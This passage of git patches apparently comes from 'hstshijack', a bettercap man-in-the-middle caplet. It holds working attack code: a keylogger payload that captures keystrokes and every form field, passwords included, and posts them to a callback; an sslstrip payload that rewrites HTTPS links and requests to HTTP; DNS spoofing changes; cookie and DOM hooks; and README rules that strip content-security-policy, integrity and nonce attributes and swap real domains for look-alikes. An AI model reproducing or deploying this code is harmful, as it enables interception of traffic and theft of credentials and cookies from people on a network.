- } catch(obf_hstshijack_var_ignore){}
- }
-
- function obf_hstshijack_func_hook_keyup() {
- globalThis.addEventListener("keydown", function(obf_hstshijack_var_event) {
- try {
- obf_hstshijack_var_keystrokes.push(obf_hstshijack_var_event.key);
- obf_hstshijack_func_callback();
- } catch(obf_hstshijack_var_ignore){}
- });
- }
-
- function obf_hstshijack_func_hook_forms() {
- document.querySelectorAll("form").forEach(function(obf_hstshijack_var_form){
- // if (obf_hstshijack_var_form.querySelector("input[type=password]")) {
- // obf_hstshijack_var_form.addEventListener("submit", obf_hstshijack_func_callback_whitelist);
- // } else {
- obf_hstshijack_var_form.addEventListener("submit", obf_hstshijack_func_callback);
- // }
- });
- }
-
- function obf_hstshijack_func_hook_inputs() {
- document.querySelectorAll("input").forEach(function(obf_hstshijack_var_input){
- obf_hstshijack_var_input.autocomplete = "off";
- });
- }
-
- var obf_hstshijack_var_hooked_tag = obf_hstshijack_func_random_string(parseInt(8 + Math.random() * 8));
-
- try {
- obf_hstshijack_func_hook_keyup();
- } catch(obf_hstshijack_var_ignore){}
-
- try {
- obf_hstshijack_func_hook_forms();
- } catch(obf_hstshijack_var_ignore){}
-
- try {
- obf_hstshijack_func_hook_inputs();
- } catch(obf_hstshijack_var_ignore){}
-
- try {
- globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_forms);
- globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_inputs);
- globalThis.addEventListener("load", obf_hstshijack_func_hook_forms);
- globalThis.addEventListener("load", obf_hstshijack_func_hook_inputs);
- setInterval(obf_hstshijack_func_hook_forms, 2000);
- setInterval(obf_hstshijack_func_hook_inputs, 2000);
- } catch(obf_hstshijack_var_ignore){}
+ "use strict";
+
+ var obf_hstshijack_var_keystrokes = [];
+
+ function obf_hstshijack_func_random_string(obf_hstshijack_var_length) {
+ var obf_hstshijack_var_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
+ obf_hstshijack_var_buff = new Array(obf_hstshijack_var_length);
+ for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_length; obf_hstshijack_var_i++) {
+ obf_hstshijack_var_buff[obf_hstshijack_var_i] = obf_hstshijack_var_chars.charAt(parseInt(Math.random() * obf_hstshijack_var_chars.length));
+ }
+ return obf_hstshijack_var_buff.join("");
+ }
+
+ function obf_hstshijack_func_callback() {
+ try {
+ var obf_hstshijack_var_inputs = document.getElementsByTagName("input"),
+ obf_hstshijack_var_textareas = document.getElementsByTagName("textarea"),
+ obf_hstshijack_var_params = "";
+
+ for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_inputs.length; obf_hstshijack_var_i++) {
+ if (obf_hstshijack_var_inputs[obf_hstshijack_var_i].value != "") {
+ obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].name) +
+ "=" + encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].value) +
+ (obf_hstshijack_var_i < (obf_hstshijack_var_inputs.length-1) ? "&" : "");
+ }
+ }
+ for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_textareas.length; obf_hstshijack_var_i++) {
+ if (obf_hstshijack_var_textareas[obf_hstshijack_var_i].value != "") {
+ obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].name) +
+ "=" + encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].value) +
+ (obf_hstshijack_var_i < (obf_hstshijack_var_textareas.length-1) ? "&" : "");
+ }
+ }
+ if (obf_hstshijack_var_params !== "") {
+ obf_hstshijack_var_params += "&";
+ }
+ obf_hstshijack_var_params += "obf_hstshijack_var_keystrokes=" + encodeURIComponent(obf_hstshijack_var_keystrokes.join(","));
+
+ if (obf_hstshijack_var_params.length > 0) {
+ var obf_hstshijack_var_req = new XMLHttpRequest();
+ obf_hstshijack_var_req.open(
+ "POST",
+ "http://" + location.host + "obf_hstshijack_path_callback?" + obf_hstshijack_var_params,
+ true);
+ obf_hstshijack_var_req.send();
+ }
+ } catch(obf_hstshijack_var_ignore){}
+ }
+
+ function obf_hstshijack_func_callback_whitelist() {
+ try {
+ var obf_hstshijack_var_inputs = document.getElementsByTagName("input"),
+ obf_hstshijack_var_textareas = document.getElementsByTagName("textarea"),
+ obf_hstshijack_var_params = "";
+
+ for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_inputs.length; obf_hstshijack_var_i++) {
+ if (obf_hstshijack_var_inputs[obf_hstshijack_var_i].value != "") {
+ obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].name) +
+ "=" + encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].value) +
+ (obf_hstshijack_var_i < (obf_hstshijack_var_inputs.length-1) ? "&" : "");
+ }
+ }
+ for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_textareas.length; obf_hstshijack_var_i++) {
+ if (obf_hstshijack_var_textareas[obf_hstshijack_var_i].value != "") {
+ obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].name) +
+ "=" + encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].value) +
+ (obf_hstshijack_var_i < (obf_hstshijack_var_textareas.length-1) ? "&" : "");
+ }
+ }
+
+ if (obf_hstshijack_var_params.length > 0) {
+ var obf_hstshijack_var_req = new XMLHttpRequest();
+ obf_hstshijack_var_req.open(
+ "POST",
+ "http://" + location.host + "obf_hstshijack_path_whitelist?" + obf_hstshijack_var_params,
+ true);
+ obf_hstshijack_var_req.send();
+ }
+ } catch(obf_hstshijack_var_ignore){}
+ }
+
+ function obf_hstshijack_func_hook_keyup() {
+ globalThis.addEventListener("keydown", function(obf_hstshijack_var_event) {
+ try {
+ obf_hstshijack_var_keystrokes.push(obf_hstshijack_var_event.key);
+ obf_hstshijack_func_callback();
+ } catch(obf_hstshijack_var_ignore){}
+ });
+ }
+
+ function obf_hstshijack_func_hook_forms() {
+ document.querySelectorAll("form").forEach(function(obf_hstshijack_var_form){
+ // if (obf_hstshijack_var_form.querySelector("input[type=password]")) {
+ // obf_hstshijack_var_form.addEventListener("submit", obf_hstshijack_func_callback_whitelist);
+ // } else {
+ obf_hstshijack_var_form.addEventListener("submit", obf_hstshijack_func_callback);
+ // }
+ });
+ }
+
+ function obf_hstshijack_func_hook_inputs() {
+ document.querySelectorAll("input").forEach(function(obf_hstshijack_var_input){
+ obf_hstshijack_var_input.autocomplete = "off";
+ });
+ }
+
+ var obf_hstshijack_var_hooked_tag = obf_hstshijack_func_random_string(parseInt(8 + Math.random() * 8));
+
+ try {
+ obf_hstshijack_func_hook_keyup();
+ } catch(obf_hstshijack_var_ignore){}
+
+ try {
+ obf_hstshijack_func_hook_forms();
+ } catch(obf_hstshijack_var_ignore){}
+
+ try {
+ obf_hstshijack_func_hook_inputs();
+ } catch(obf_hstshijack_var_ignore){}
+
+ try {
+ globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_forms);
+ globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_inputs);
+ globalThis.addEventListener("load", obf_hstshijack_func_hook_forms);
+ globalThis.addEventListener("load", obf_hstshijack_func_hook_inputs);
+ setInterval(obf_hstshijack_func_hook_forms, 2000);
+ setInterval(obf_hstshijack_func_hook_inputs, 2000);
+ } catch(obf_hstshijack_var_ignore){}
})();
From 0db1ed642f1b1e4415ea5eb51c4a9c4f42cbb558 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Sun, 11 May 2025 12:40:27 +0200
Subject: [PATCH 24/32] Change indentation to tabs.
---
hstshijack/payloads/sslstrip.js | 118 ++++++++++++++++----------------
1 file changed, 59 insertions(+), 59 deletions(-)
diff --git a/hstshijack/payloads/sslstrip.js b/hstshijack/payloads/sslstrip.js
index df80f12..8abf80d 100644
--- a/hstshijack/payloads/sslstrip.js
+++ b/hstshijack/payloads/sslstrip.js
@@ -1,68 +1,68 @@
(function(){
- "use strict";
+ "use strict";
- var obf_hstshijack_func_open = XMLHttpRequest.prototype.open;
+ var obf_hstshijack_func_open = XMLHttpRequest.prototype.open;
- function obf_hstshijack_func_hook_XMLHttpRequest() {
- XMLHttpRequest.prototype.open = function(
- obf_hstshijack_var_method,
- obf_hstshijack_var_url,
- obf_hstshijack_var_async,
- obf_hstshijack_var_username,
- obf_hstshijack_var_password
- ) {
- var obf_hstshijack_var_url = obf_hstshijack_var_url.replace(/(http)s/ig, "$1");
- return obf_hstshijack_func_open.apply(this, arguments);
- }
- }
+ function obf_hstshijack_func_hook_XMLHttpRequest() {
+ XMLHttpRequest.prototype.open = function(
+ obf_hstshijack_var_method,
+ obf_hstshijack_var_url,
+ obf_hstshijack_var_async,
+ obf_hstshijack_var_username,
+ obf_hstshijack_var_password
+ ) {
+ var obf_hstshijack_var_url = obf_hstshijack_var_url.replace(/(http)s/ig, "$1");
+ return obf_hstshijack_func_open.apply(this, arguments);
+ }
+ }
- function obf_hstshijack_func_hook_nodes() {
- document.querySelectorAll("a,iframe,script,form,link").forEach(function(obf_hstshijack_var_node){
- try {
- switch (obf_hstshijack_var_node.tagName) {
- case "A":
- if (obf_hstshijack_var_node.href && obf_hstshijack_var_node.href.match(/^\s*https:/i)) {
- obf_hstshijack_var_node.href = obf_hstshijack_var_node.href.replace(/(http)s/i, "$1");
- }
- break;
- case "IFRAME":
- if (obf_hstshijack_var_node.src && obf_hstshijack_var_node.src.match(/^\s*https:/i)) {
- obf_hstshijack_var_node.src = obf_hstshijack_var_node.src.replace(/(http)s/i, "$1");
- }
- break;
- case "SCRIPT":
- if (obf_hstshijack_var_node.src && obf_hstshijack_var_node.src.match(/^\s*https:/i)) {
- obf_hstshijack_var_node.src = obf_hstshijack_var_node.src.replace(/(http)s/i, "$1");
- }
- break;
- case "FORM":
- if (obf_hstshijack_var_node.action && obf_hstshijack_var_node.action.match(/^\s*https:/i)) {
- obf_hstshijack_var_node.action = obf_hstshijack_var_node.action.replace(/(http)s/i, "$1");
- }
- break;
- case "LINK":
- if (obf_hstshijack_var_node.href && obf_hstshijack_var_node.href.match(/^\s*https:/i)) {
- obf_hstshijack_var_node.href = obf_hstshijack_var_node.href.replace(/(http)s/i, "$1");
- }
- break;
- }
- } catch(obf_hstshijack_var_ignore) {}
- });
- }
+ function obf_hstshijack_func_hook_nodes() {
+ document.querySelectorAll("a,iframe,script,form,link").forEach(function(obf_hstshijack_var_node){
+ try {
+ switch (obf_hstshijack_var_node.tagName) {
+ case "A":
+ if (obf_hstshijack_var_node.href && obf_hstshijack_var_node.href.match(/^\s*https:/i)) {
+ obf_hstshijack_var_node.href = obf_hstshijack_var_node.href.replace(/(http)s/i, "$1");
+ }
+ break;
+ case "IFRAME":
+ if (obf_hstshijack_var_node.src && obf_hstshijack_var_node.src.match(/^\s*https:/i)) {
+ obf_hstshijack_var_node.src = obf_hstshijack_var_node.src.replace(/(http)s/i, "$1");
+ }
+ break;
+ case "SCRIPT":
+ if (obf_hstshijack_var_node.src && obf_hstshijack_var_node.src.match(/^\s*https:/i)) {
+ obf_hstshijack_var_node.src = obf_hstshijack_var_node.src.replace(/(http)s/i, "$1");
+ }
+ break;
+ case "FORM":
+ if (obf_hstshijack_var_node.action && obf_hstshijack_var_node.action.match(/^\s*https:/i)) {
+ obf_hstshijack_var_node.action = obf_hstshijack_var_node.action.replace(/(http)s/i, "$1");
+ }
+ break;
+ case "LINK":
+ if (obf_hstshijack_var_node.href && obf_hstshijack_var_node.href.match(/^\s*https:/i)) {
+ obf_hstshijack_var_node.href = obf_hstshijack_var_node.href.replace(/(http)s/i, "$1");
+ }
+ break;
+ }
+ } catch(obf_hstshijack_var_ignore) {}
+ });
+ }
- try {
- obf_hstshijack_func_hook_XMLHttpRequest();
- } catch(obf_hstshijack_var_ignore) {}
+ try {
+ obf_hstshijack_func_hook_XMLHttpRequest();
+ } catch(obf_hstshijack_var_ignore) {}
- try {
- obf_hstshijack_func_hook_nodes();
- } catch(obf_hstshijack_var_ignore) {}
+ try {
+ obf_hstshijack_func_hook_nodes();
+ } catch(obf_hstshijack_var_ignore) {}
- try {
- obf_hstshijack_func_hook_XMLHttpRequest();
- globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_nodes);
- globalThis.addEventListener("load", obf_hstshijack_func_hook_nodes);
- setInterval(obf_hstshijack_func_hook_nodes, 4000);
- } catch(obf_hstshijack_var_ignore) {}
+ try {
+ obf_hstshijack_func_hook_XMLHttpRequest();
+ globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_nodes);
+ globalThis.addEventListener("load", obf_hstshijack_func_hook_nodes);
+ setInterval(obf_hstshijack_func_hook_nodes, 4000);
+ } catch(obf_hstshijack_var_ignore) {}
})();
From 3157efdbd54547a19597d1f4845aa23d585d9f1e Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Sun, 11 May 2025 12:41:40 +0200
Subject: [PATCH 25/32] Add 'port' property to URL regex replacement config.
---
hstshijack/replacements/req.URL.json | 1 +
1 file changed, 1 insertion(+)
diff --git a/hstshijack/replacements/req.URL.json b/hstshijack/replacements/req.URL.json
index aef671f..b8e8731 100644
--- a/hstshijack/replacements/req.URL.json
+++ b/hstshijack/replacements/req.URL.json
@@ -1,5 +1,6 @@
{
"path": {},
+ "port": {},
"query": {
"*": [
["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]corn([^a-z0-9-.]|$)", "ig", "https$1$2.com$3"],
From cd5fd07549ed84864671f99a7eca642a80e1c1c8 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Sun, 11 May 2025 13:53:18 +0200
Subject: [PATCH 26/32] Update README.md
---
hstshijack/README.md | 10 +++++-----
1 file changed, 5 insertions(+), 5 deletions(-)
diff --git a/hstshijack/README.md b/hstshijack/README.md
index 474682b..49fee1f 100644
--- a/hstshijack/README.md
+++ b/hstshijack/README.md
@@ -11,11 +11,11 @@
# variables get precendence over those assigned to the 'hstshijack.ignore' variable.
set hstshijack.targets *.com, *.net,*.me, *.nl,*.ai,*.co.uk,*.cn,*.google
set hstshijack.replacements *.corn,*.nel,*.rne,*.ni,*.al,*.cc.uk,*.ch,*.googl
-set hstshijack.replacements.req.body /usr/local/share/bettercap/caplets/hstshijack/replacements/req.body.json
-set hstshijack.replacements.req.headers /usr/local/share/bettercap/caplets/hstshijack/replacements/req.headers.json
-set hstshijack.replacements.req.url /usr/local/share/bettercap/caplets/hstshijack/replacements/req.url.json
-set hstshijack.replacements.res.body /usr/local/share/bettercap/caplets/hstshijack/replacements/res.body.json
-set hstshijack.replacements.res.headers /usr/local/share/bettercap/caplets/hstshijack/replacements/res.headers.json
+set hstshijack.replacements.req.body /usr/local/share/bettercap/caplets/hstshijack/replacements/req.Body.json
+set hstshijack.replacements.req.headers /usr/local/share/bettercap/caplets/hstshijack/replacements/req.Headers.json
+set hstshijack.replacements.req.url /usr/local/share/bettercap/caplets/hstshijack/replacements/req.URL.json
+set hstshijack.replacements.res.body /usr/local/share/bettercap/caplets/hstshijack/replacements/res.Body.json
+set hstshijack.replacements.res.headers /usr/local/share/bettercap/caplets/hstshijack/replacements/res.Headers.json
set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/ssl/domains.txt
set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/ssl/index.json
set hstshijack.ssl.index.check true
From 659b9362392911e8b7ea9f5a2e2523473c78841e Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Sun, 11 May 2025 14:09:54 +0200
Subject: [PATCH 27/32] Drop AAAA queries.
---
hstshijack/modules/dns.proxy.js | 13 ++++++++-----
1 file changed, 8 insertions(+), 5 deletions(-)
diff --git a/hstshijack/modules/dns.proxy.js b/hstshijack/modules/dns.proxy.js
index 4ca91f1..03ae36e 100644
--- a/hstshijack/modules/dns.proxy.js
+++ b/hstshijack/modules/dns.proxy.js
@@ -6,7 +6,7 @@ var Rrtype = {
None: 0,
A: 1,
// CNAME: 5,
-// AAAA: 28,
+ AAAA: 28,
};
String.prototype.endsWith = function(suffix) {
@@ -30,6 +30,7 @@ String.prototype.isTargeted = function() {
};
function onRequest(req, res) {
+ // Respond to A queries
req.Questions.forEach(function(question) {
if (question.Qtype === Rrtype.A) {
if (question.Name.isTargeted()) {
@@ -46,13 +47,15 @@ function onRequest(req, res) {
});
}
}
- // Respond with AAAA records if necessary
});
-
+ // Drop AAAA queries
+ req.Questions = req.Questions.filter(function(question) {
+ if (question.Qtype === Rrtype.AAAA) return false;
+ return true;
+ });
if (res.Header.Response === true && res.Answers.length === 0) {
res.Header.Rrtype = Rrtype.None;
-
- // Silence DNS errors by clearing all records
+ // Silence DNS errors
res.Extras = [];
res.Nameserver = [];
}
From c8a6a63d73524984a1a0daf2d2a977465f43bfeb Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Sun, 11 May 2025 17:53:02 +0200
Subject: [PATCH 28/32] Simplify AAAA query filtering.
---
hstshijack/modules/dns.proxy.js | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/hstshijack/modules/dns.proxy.js b/hstshijack/modules/dns.proxy.js
index 03ae36e..4a190bd 100644
--- a/hstshijack/modules/dns.proxy.js
+++ b/hstshijack/modules/dns.proxy.js
@@ -50,8 +50,7 @@ function onRequest(req, res) {
});
// Drop AAAA queries
req.Questions = req.Questions.filter(function(question) {
- if (question.Qtype === Rrtype.AAAA) return false;
- return true;
+ return question.Qtype !== Rrtype.AAAA;
});
if (res.Header.Response === true && res.Answers.length === 0) {
res.Header.Rrtype = Rrtype.None;
From 5451be992d35035336e541c1cb1a2864a83d92dc Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Sun, 11 May 2025 18:17:33 +0200
Subject: [PATCH 29/32] Make MutationObserver aggressive, silence errors.
---
hstshijack/payloads/hijack.js | 51 +++--------------------------------
1 file changed, 4 insertions(+), 47 deletions(-)
diff --git a/hstshijack/payloads/hijack.js b/hstshijack/payloads/hijack.js
index a1bb941..7318b69 100644
--- a/hstshijack/payloads/hijack.js
+++ b/hstshijack/payloads/hijack.js
@@ -32,6 +32,8 @@
obf_hstshijack_scriptSrcSetter = Object.getOwnPropertyDescriptor(HTMLScriptElement.prototype, "src").set,
obf_hstshijack_linkHrefSetter = Object.getOwnPropertyDescriptor(HTMLLinkElement.prototype, "href").set;
+ const obf_hstshijack_sleep = obf_hstshijack_ms => new Promise(obf_hstshijack_res => setTimeout(obf_hstshijack_res, obf_hstshijack_ms));
+
const obf_hstshijack_mutation_observer = new MutationObserver(function(obf_hstshijack_mutations) {
obf_hstshijack_mutations.forEach(function(obf_hstshijack_mutation) {
if (obf_hstshijack_mutation.type === "childList") {
@@ -260,7 +262,6 @@
};
const obf_hstshijack_hookCookieGetterAndSetter = async () => {
- const obf_hstshijack_sleep = obf_hstshijack_ms => new Promise(obf_hstshijack_res => setTimeout(obf_hstshijack_res, obf_hstshijack_ms));
while (document === undefined) await obf_hstshijack_sleep(0);
const obf_hstshijack_originalCookieGetter = Object.getOwnPropertyDescriptor(Document.prototype, "cookie").get,
obf_hstshijack_originalCookieSetter = Object.getOwnPropertyDescriptor(Document.prototype, "cookie").set;
@@ -380,47 +381,6 @@
}
};
- const obf_hstshijack_hookNodes = () => {
- document.querySelectorAll("a,form,script,iframe").forEach(function(obf_hstshijack_node){
- try {
- let obf_hstshijack_url = "";
- switch (obf_hstshijack_node.tagName) {
- case "A" || "LINK":
- obf_hstshijack_node.href ? obf_hstshijack_url = obf_hstshijack_node.href : "";
- if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
- let obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
- if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
- obf_hstshijack_node.href = obf_hstshijack_hijacked_url;
- }
- }
- break;
- case "FORM":
- obf_hstshijack_node.action ? obf_hstshijack_url = obf_hstshijack_node.action : "";
- if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
- let obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
- if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
- obf_hstshijack_node.action = obf_hstshijack_hijacked_url;
- }
- }
- break;
- case "SCRIPT" || "IFRAME":
- obf_hstshijack_node.src ? obf_hstshijack_url = obf_hstshijack_node.src : "";
- if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
- let obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
- if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
- obf_hstshijack_node.src = obf_hstshijack_hijacked_url;
- }
- }
- break;
- }
- if (obf_hstshijack_url) {
- const obf_hstshijack_parsed_url = obf_hstshijack_parseURL(obf_hstshijack_url);
- obf_hstshijack_sendCallback(obf_hstshijack_parsed_url[1].toLowerCase());
- }
- } catch(obf_hstshijack_ignore) {}
- });
- };
-
try {
obf_hstshijack_hookCookieGetterAndSetter();
} catch(obf_hstshijack_ignore) {}
@@ -449,16 +409,13 @@
obf_hstshijack_hookFetch();
} catch(obf_hstshijack_ignore) {}
-// try {
-// obf_hstshijack_hookNodes();
-// } catch(obf_hstshijack_ignore) {}
-
try {
+ while (document === undefined) await obf_hstshijack_sleep(0);
obf_hstshijack_mutation_observer.observe(document.documentElement, {
childList: true,
subtree: true,
attributes: true,
});
} catch(obf_hstshijack_ignore) {}
-})().catch((err) => console.error(err));
+})().catch(() => {});
From 42bf30174f30efc6be1afa89ad68a209a2d08e9e Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Sun, 11 May 2025 18:21:38 +0200
Subject: [PATCH 30/32] Fix indentation.
---
hstshijack/modules/http.proxy.js | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/hstshijack/modules/http.proxy.js b/hstshijack/modules/http.proxy.js
index 78c10bd..d1859f5 100644
--- a/hstshijack/modules/http.proxy.js
+++ b/hstshijack/modules/http.proxy.js
@@ -216,7 +216,7 @@ function parseCookie(cookie_string) {
function randomString(length) {
length = parseInt(length);
var chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
- buff = new Array(length);
+ buff = new Array(length);
for (var a = 0; a < buff.length; a++) {
index = parseInt(Math.random() * chars.length);
buff[a] = chars.charAt(index);
From 1294ef9aa8f8943c95a168b8509fd314c68a400e Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Wed, 28 May 2025 21:31:13 +0200
Subject: [PATCH 31/32] Update README.md
---
hstshijack/README.md | 43 +++++++++++++++++++++++++++++++++++++------
1 file changed, 37 insertions(+), 6 deletions(-)
diff --git a/hstshijack/README.md b/hstshijack/README.md
index 49fee1f..d216774 100644
--- a/hstshijack/README.md
+++ b/hstshijack/README.md
@@ -39,16 +39,14 @@ dns.proxy on
###
**hijack.js** payload
-This module injects files with a JavaScript payload (
**hijack.js**) which acts as a callback for bettercap, and takes care of hostname spoofing in attributes of injected documents, as well as fetch and XMLHttpRequest.
-
-Injecting
**hijack.js** is essential for hostname spoofing.
+This module injects files with a JavaScript payload (
**hijack.js**) which acts as a callback for bettercap, and takes care of hostname spoofing in the DOM.
### Scalable domain indexing (SSL log)
-
+
When hosts respond with an HTTPS redirect, bettercap will save their hostname in lists that are sorted by domain prefixes, allowing the list to scale by reducing a considerable amount of overhead for the proxy module.
@@ -74,7 +72,40 @@ You can try to make them as unnoticeable as you can, but your options are limite
### Regular Expression replacements
-...
+In the
**replacements directory** you can find 5 JSON files that are used to spoof HTTP requests and responses. Each Regular Expression that you configure will be pre-compiled when the module is loaded.
+
+Each Regular Expression set is formatted as follows: `[SELECTOR, FLAGS, REPLACEMENT]`
+
+Example of response body replacements (
res.Body.json):
+
+```json
+{
+ "html": {
+ "*.amazon.com": [
+ ["(['\"`](?:http|ws)|sourceMappingURL=http)s", "ig", "$1"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"],
+ [" http-equiv=['\"]?content-security-policy(?:-report-only)?['\"]?([ />])", "ig", "$1"],
+ [" integrity=['\"][^'\"]+['\"]([ />])", "ig", "$1"],
+ [" nonce=[\"][^\"]+['\"]([ />])", "ig", "$1"]
+ ]
+ },
+ "javascript": {
+ "*.amazon.com": [
+ ["((?:['\"`]|sourceMappingURL=)(?:http|ws))s", "ig", "$1"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"]
+ ],
+ "apis.google.com": [
+ ["(V=function\\(a\\)\\{)", "g", "$1if(1)return;"]
+ ]
+ },
+ "json": {
+ "*": [
+ ["(\"(?:http|ws))s", "ig", "$1"],
+ ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"]
+ ]
+ }
+}
+```
### Block scripts
@@ -89,7 +120,7 @@ Custom payloads are (optionally) obfuscated at launch, executed synchronously, a
Example:
```sh
-set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js
+set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js
```
You should always inject the
**hijack.js** payload when spoofing hostnames.
From 85ffc3116103b390d5947427ff7f3ac5d6791ef8 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Thu, 29 May 2025 09:19:01 +0200
Subject: [PATCH 32/32] Update README.md
---
hstshijack/README.md | 2 --
1 file changed, 2 deletions(-)
diff --git a/hstshijack/README.md b/hstshijack/README.md
index d216774..a6a6f14 100644
--- a/hstshijack/README.md
+++ b/hstshijack/README.md
@@ -123,8 +123,6 @@ Example:
set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js
```
-You should always inject the
**hijack.js** payload when spoofing hostnames.
-
### Obfuscation
You can write custom payloads that are automatically obfuscated by the module.